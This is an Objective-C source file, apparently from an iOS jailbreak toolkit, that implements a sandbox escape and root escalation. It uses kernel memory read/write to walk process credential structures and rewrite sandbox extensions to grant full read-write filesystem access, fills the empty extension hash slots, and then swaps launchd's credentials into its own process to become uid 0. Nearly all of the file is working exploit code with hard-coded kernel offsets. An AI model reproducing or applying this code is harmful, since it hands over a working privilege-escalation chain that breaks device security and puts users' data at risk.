/*
 * sandbox_escape.m — Sandbox escape via kernel memory patching
 *
 * Walk proc_ro → ucred → cr_label → sandbox → ext_set → ext_table
 * Patch extension paths to "/", rewrite class to "com.apple.app-sandbox.read-write"
 * Fill all 16 hash slots → full R+W filesystem access
 * Based on 18.3_sandbox/root.m by CrazyMind90.
 */

#import <Foundation/Foundation.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>
#include "sandbox_escape.h"
#include "kexploit/kexploit_opa334.h"
#include "kexploit/krw.h"
#include "kexploit/kutils.h"
#include "kexploit/offsets.h"

extern void early_kread(uint64_t where, void *read_buf, size_t size);

#define KRW_LEN 0x20

// Verified offsets (IDA binary analysis across 6 kernelcaches)
#define OFF_PROC_PROC_RO       0x18  // proc → proc_ro (stable 17.0-26.x)
#define OFF_PROC_RO_UCRED      0x20  // proc_ro → p_ucred (verified all versions)
#define OFF_UCRED_CR_LABEL     0x78  // ucred → cr_label (KDK struct dump)
#define OFF_LABEL_SANDBOX      0x10  // label → sandbox (MAC l_perpolicy[1])
#define OFF_SANDBOX_EXT_SET    0x10  // sandbox → ext_set
#define OFF_EXT_DATA           0x40  // ext → data_addr
#define OFF_EXT_DATALEN        0x48  // ext → data_len

// posix_cred lives inside ucred at +0x18 (16B cr_link + 8B cr_ref).
// Derived from OFF_UCRED_CR_LABEL=0x78 and sizeof(posix_cred)=0x60.
#define OFF_UCRED_CR_POSIX     0x18
#define OFF_POSIX_CR_UID       0x00
#define OFF_POSIX_CR_RUID      0x04
#define OFF_POSIX_CR_SVUID     0x08
#define OFF_POSIX_CR_NGROUPS   0x0C
#define OFF_POSIX_CR_GROUPS_0  0x10  // first group (cr_groups[0])
#define OFF_POSIX_CR_RGID      0x50
#define OFF_POSIX_CR_SVGID     0x54
#define OFF_POSIX_CR_GMUID     0x58
#define OFF_POSIX_CR_FLAGS     0x5C

#ifdef __arm64e__
static uint64_t __attribute((naked)) __xpaci_sbx(uint64_t a) {
    asm(".long 0xDAC143E0");
    asm("ret");
}
#else
#define __xpaci_sbx(x) (x)
#endif

extern uint64_t VM_MIN_KERNEL_ADDRESS;
extern uint64_t pac_mask;

#define S(x) ({ uint64_t _v = __xpaci_sbx(x); \
    ((_v >> 32) > 0xFFFF ? (_v | pac_mask) : _v); })
#define K(x) ((x) > VM_MIN_KERNEL_ADDRESS)

#pragma mark - Extension patching

static void patch_ext(uint64_t ext) {
    uint64_t da = early_kread64(ext + OFF_EXT_DATA);
    uint64_t dl = early_kread64(ext + OFF_EXT_DATALEN);
    if (K(da) && dl > 0) {
        uint8_t buf[KRW_LEN];
        early_kread(da, buf, KRW_LEN);
        buf[0] = '/'; buf[1] = 0;
        early_kwrite32bytes(da, buf);
    }
    uint8_t chunk[KRW_LEN];
    early_kread(ext + OFF_EXT_DATA, chunk, KRW_LEN);
    *(uint64_t*)(chunk + 0x08) = 1;
    *(uint64_t*)(chunk + 0x10) = 0xFFFFFFFFFFFFFFFFULL;
    early_kwrite32bytes(ext + OFF_EXT_DATA, chunk);
}

static int patch_chain(uint64_t hdr) {
    int n = 0;
    for (int i = 0; i < 64 && K(hdr); i++) {
        uint64_t ext = S(early_kread64(hdr + 0x8));
        if (K(ext)) { patch_ext(ext); n++; }
        uint64_t next = early_kread64(hdr);
        if (!next || !K(next)) break;
        hdr = S(next);
    }
    return n;
}

static void set_rw_class(uint64_t hdr) {
    uint64_t ext = S(early_kread64(hdr + 0x8));
    if (!K(ext)) return;
    uint64_t da = early_kread64(ext + OFF_EXT_DATA);
    if (!K(da)) return;

    const char *rw = "com.apple.app-sandbox.read-write";
    uint8_t b1[KRW_LEN], b2[KRW_LEN];
    memset(b1, 0, KRW_LEN); memset(b2, 0, KRW_LEN);
    memcpy(b1, rw, KRW_LEN);
    early_kwrite32bytes(da + 32, b1);
    early_kwrite32bytes(da + 64, b2);

    uint8_t hb[KRW_LEN];
    early_kread(hdr, hb, KRW_LEN);
    *(uint64_t*)(hb + 0x10) = da + 32;
    early_kwrite32bytes(hdr, hb);
}

#pragma mark - Main entry

int sandbox_escape(uint64_t self_proc) {
    if (!self_proc) { NSLog(@"[SBX] self_proc is NULL"); return -1; }

    uint64_t proc_ro_raw = early_kread64(self_proc + OFF_PROC_PROC_RO);
    uint64_t proc_ro = S(proc_ro_raw);
    NSLog(@"[SBX] self_proc=0x%llx proc_ro_raw=0x%llx proc_ro=0x%llx", self_proc, proc_ro_raw, proc_ro);
    if (!K(proc_ro)) { NSLog(@"[SBX] proc_ro invalid"); return -1; }

    // Scan proc_ro for ucred — offset varies by iOS build.
    // p_ucred is an SMR pointer. Dump offsets 0x10-0x40 to find it.
    NSLog(@"[SBX] Scanning proc_ro for ucred...");
    uint64_t ucred = 0;
    for (uint32_t off = 0x10; off <= 0x40; off += 0x8) {
        uint64_t raw = early_kread64(proc_ro + off);
        uint64_t smr = kread_smrptr(proc_ro + off);
        uint64_t pac = S(raw);
        NSLog(@"[SBX]   proc_ro+0x%x: raw=0x%llx smr=0x%llx pac=0x%llx", off, raw, smr, pac);

        // Check if smr-decoded value looks like ucred (cr_label at +0x78 is a kernel ptr)
        if (K(smr)) {
            uint64_t maybe_label = S(early_kread64(smr + 0x78));
            if (K(maybe_label)) {
                uint64_t maybe_sandbox = S(early_kread64(maybe_label + 0x10));
                if (K(maybe_sandbox)) {
                    NSLog(@"[SBX] Found ucred at proc_ro+0x%x (SMR) = 0x%llx", off, smr);
                    ucred = smr;
                    break;
                }
            }
        }
        // Also try PAC-stripped
        if (!ucred && K(pac)) {
            uint64_t maybe_label = S(early_kread64(pac + 0x78));
            if (K(maybe_label)) {
                uint64_t maybe_sandbox = S(early_kread64(maybe_label + 0x10));
                if (K(maybe_sandbox)) {
                    NSLog(@"[SBX] Found ucred at proc_ro+0x%x (PAC) = 0x%llx", off, pac);
                    ucred = pac;
                    break;
                }
            }
        }
    }
    if (!K(ucred)) { NSLog(@"[SBX] ucred not found in proc_ro"); return -1; }

    uint64_t label = S(early_kread64(ucred + OFF_UCRED_CR_LABEL));
    if (!K(label)) { NSLog(@"[SBX] cr_label invalid"); return -1; }

    uint64_t sandbox = S(early_kread64(label + OFF_LABEL_SANDBOX));
    if (!K(sandbox)) { NSLog(@"[SBX] sandbox invalid"); return -1; }

    uint64_t ext_set = S(early_kread64(sandbox + OFF_SANDBOX_EXT_SET));
    if (!K(ext_set)) { NSLog(@"[SBX] ext_set invalid"); return -1; }

    NSLog(@"[SBX] proc_ro=0x%llx ucred=0x%llx label=0x%llx sandbox=0x%llx ext_set=0x%llx",
          proc_ro, ucred, label, sandbox, ext_set);

    int patched = 0;
    for (int s = 0; s < 16; s++) {
        uint64_t hdr = S(early_kread64(ext_set + s * 8));
        if (K(hdr)) patched += patch_chain(hdr);
    }
    NSLog(@"[SBX] Patched %d extensions", patched);

    int classed = 0;
    for (int s = 0; s < 16; s++) {
        uint64_t hdr = S(early_kread64(ext_set + s * 8));
        if (K(hdr) && K(early_kread64(hdr + 0x10))) { set_rw_class(hdr); classed++; }
    }
    NSLog(@"[SBX] Changed %d extension classes", classed);

    uint64_t src = 0;
    for (int s = 0; s < 16 && !src; s++) {
        uint64_t h = S(early_kread64(ext_set + s * 8));
        if (K(h)) src = h;
    }
    if (src) {
        int filled = 0;
        for (int s = 0; s < 16; s++) {
            uint64_t h = early_kread64(ext_set + s * 8);
            if (!h || !K(h)) { early_kwrite64(ext_set + s * 8, src); filled++; }
        }
        NSLog(@"[SBX] Filled %d empty hash slots", filled);
    }

    int fd_w = open("/var/mobile/.sbx_test", O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fd_w >= 0) { close(fd_w); unlink("/var/mobile/.sbx_test"); }

    if (fd_w >= 0) {
        NSLog(@"[SBX] *** SANDBOX ESCAPED (R+W) ***");
        return 0;
    }

    NSLog(@"[SBX] Sandbox escape verification failed (errno=%d: %s)", errno, strerror(errno));
    return -1;
}

#pragma mark - UID elevation (uid=0 via launchd ucred swap)

// Scan proc_ro in [0x10..0x40] for a valid ucred pointer.
// A valid ucred has cr_label at +0x78 pointing to a kernel addr
static int sbx_find_ucred_slot(uint64_t proc, uint64_t *ucred_out, uint32_t *off_out) {
    if (!proc) return -1;
    uint64_t proc_ro = S(early_kread64(proc + OFF_PROC_PROC_RO));
    if (!K(proc_ro)) return -1;

    for (uint32_t off = 0x10; off <= 0x40; off += 0x8) {
        uint64_t raw = early_kread64(proc_ro + off);
        uint64_t smr = kread_smrptr(proc_ro + off);
        uint64_t pac = S(raw);
        uint64_t cands[2] = { smr, pac };
        for (int i = 0; i < 2; i++) {
            uint64_t c = cands[i];
            if (!K(c)) continue;
            uint64_t lbl = S(early_kread64(c + OFF_UCRED_CR_LABEL));
            if (!K(lbl)) continue;
            uint64_t sbx = S(early_kread64(lbl + OFF_LABEL_SANDBOX));
            if (K(sbx)) {
                *ucred_out = c;
                *off_out = off;
                return 0;
            }
        }
    }
    return -1;
}

static uint64_t sbx_ucredbyproc(uint64_t proc) {
    uint64_t ucred = 0;
    uint32_t off = 0;
    if (sbx_find_ucred_slot(proc, &ucred, &off) != 0) return 0;
    return ucred;
}

int sandbox_elevate_to_root(uint64_t self_proc) {
    uint64_t launchd = proc_find_by_name("launchd");
    if (!launchd || launchd == (uint64_t)-1) {
        NSLog(@"[SBX] elevate: procbyname(\"launchd\") failed; trying pid 1 fallback");
        launchd = proc_find(1);
        if (launchd && launchd != (uint64_t)-1) {
            NSLog(@"[SBX] elevate: resolved launchd via pid 1 fallback: 0x%llx", launchd);
        }
    }
    if (!launchd || launchd == (uint64_t)-1) {
        NSLog(@"[SBX] elevate: could not find launchd");
        return -1;
    }

    uint64_t launchducred = sbx_ucredbyproc(launchd);
    if (!launchducred) {
        NSLog(@"[SBX] elevate: failed to get valid ucred from launchd");
        return -1;
    }
    NSLog(@"[SBX] elevate: launchd ucred: 0x%llx", launchducred);

    if (!self_proc) {
        NSLog(@"[SBX] elevate: failed to get our proc");
        return -1;
    }
    NSLog(@"[SBX] elevate: ourproc: 0x%llx", self_proc);

    uint64_t ourucredraw = early_kread64(self_proc + 0x10);
    uint64_t ourucred = S(ourucredraw);
    NSLog(@"[SBX] elevate: ourucred: 0x%llx", ourucred);

    early_kwrite64(self_proc + 0x10, launchducred);

    if (getuid() == 0) {
        NSLog(@"[SBX] elevate success!");
        return 0;
    }

    NSLog(@"[SBX] elevate failed, uid: %d", getuid());
    return -1;
}
